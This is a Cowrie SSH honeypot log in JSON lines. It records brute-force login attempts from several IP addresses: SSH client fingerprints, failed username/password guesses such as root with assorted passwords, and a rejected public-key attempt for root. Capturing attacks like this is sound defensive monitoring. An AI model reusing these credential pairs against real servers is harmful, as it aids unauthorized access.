{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:22.071559Z","src_ip":"162.254.35.142","session":"02dfff3e6282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cba68472be4","protocol":"ssh","message":"New connection: 162.241.132.172:33082 (159.203.135.109:22) [session: 3cba68472be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:39.805589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:39.809556Z","src_ip":"162.241.132.172","session":"3cba68472be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:39.835829Z","src_ip":"162.241.132.172","session":"3cba68472be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mog","password":"mog456","message":"login attempt [mog/mog456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:39.914892Z","src_ip":"162.241.132.172","session":"3cba68472be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48794,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e47d89e9677","protocol":"ssh","message":"New connection: 80.66.85.226:48794 (10.17.0.5:22) [session: 8e47d89e9677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:40.702590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:40.706348Z","src_ip":"80.66.85.226","session":"8e47d89e9677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:40.795353Z","src_ip":"80.66.85.226","session":"8e47d89e9677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:40.942416Z","src_ip":"162.241.132.172","session":"3cba68472be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rogovivan72","message":"login attempt [root/rogovivan72] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:41.060564Z","src_ip":"80.66.85.226","session":"8e47d89e9677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:42.150399Z","src_ip":"80.66.85.226","session":"8e47d89e9677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":44750,"dst_ip":"10.17.0.5","dst_port":22,"session":"f05b473704d1","protocol":"ssh","message":"New connection: 62.133.62.83:44750 (10.17.0.5:22) [session: f05b473704d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:52.670152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:52.673534Z","src_ip":"62.133.62.83","session":"f05b473704d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:52.755908Z","src_ip":"62.133.62.83","session":"f05b473704d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200192","message":"login attempt [root/200192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:53.004035Z","src_ip":"62.133.62.83","session":"f05b473704d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:26:54.146823Z","src_ip":"62.133.62.83","session":"f05b473704d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":42264,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb2f07f542b0","protocol":"ssh","message":"New connection: 85.215.121.209:42264 (10.17.0.5:22) [session: eb2f07f542b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:13.071809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:13.075750Z","src_ip":"85.215.121.209","session":"eb2f07f542b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:13.167535Z","src_ip":"85.215.121.209","session":"eb2f07f542b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mark","password":"Facebook#D!@bl0$P@ss","message":"login attempt [mark/Facebook#D!@bl0$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:13.444032Z","src_ip":"85.215.121.209","session":"eb2f07f542b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:14.542494Z","src_ip":"85.215.121.209","session":"eb2f07f542b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":49108,"dst_ip":"10.17.0.5","dst_port":22,"session":"48955ef8335c","protocol":"ssh","message":"New connection: 173.236.141.65:49108 (10.17.0.5:22) [session: 48955ef8335c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:29.837554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:29.840972Z","src_ip":"173.236.141.65","session":"48955ef8335c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:29.851917Z","src_ip":"173.236.141.65","session":"48955ef8335c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0pt1m1sm$Tr0ng","message":"login attempt [root/0pt1m1sm$Tr0ng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:29.885735Z","src_ip":"173.236.141.65","session":"48955ef8335c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:30.899944Z","src_ip":"173.236.141.65","session":"48955ef8335c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":59340,"dst_ip":"10.17.0.5","dst_port":22,"session":"bccdf137fc75","protocol":"ssh","message":"New connection: 213.202.230.81:59340 (10.17.0.5:22) [session: bccdf137fc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:36.905044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:36.908117Z","src_ip":"213.202.230.81","session":"bccdf137fc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:36.995315Z","src_ip":"213.202.230.81","session":"bccdf137fc75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rwanda","password":"Kigali#Crypto$P@ss!99","message":"login attempt [rwanda/Kigali#Crypto$P@ss!99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:37.259827Z","src_ip":"213.202.230.81","session":"bccdf137fc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:38.349440Z","src_ip":"213.202.230.81","session":"bccdf137fc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":35610,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6bdfec14bd","protocol":"ssh","message":"New connection: 139.19.117.129:35610 (159.203.135.109:22) [session: db6bdfec14bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.443598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.446232Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.534826Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.715754Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.718826Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.810735Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
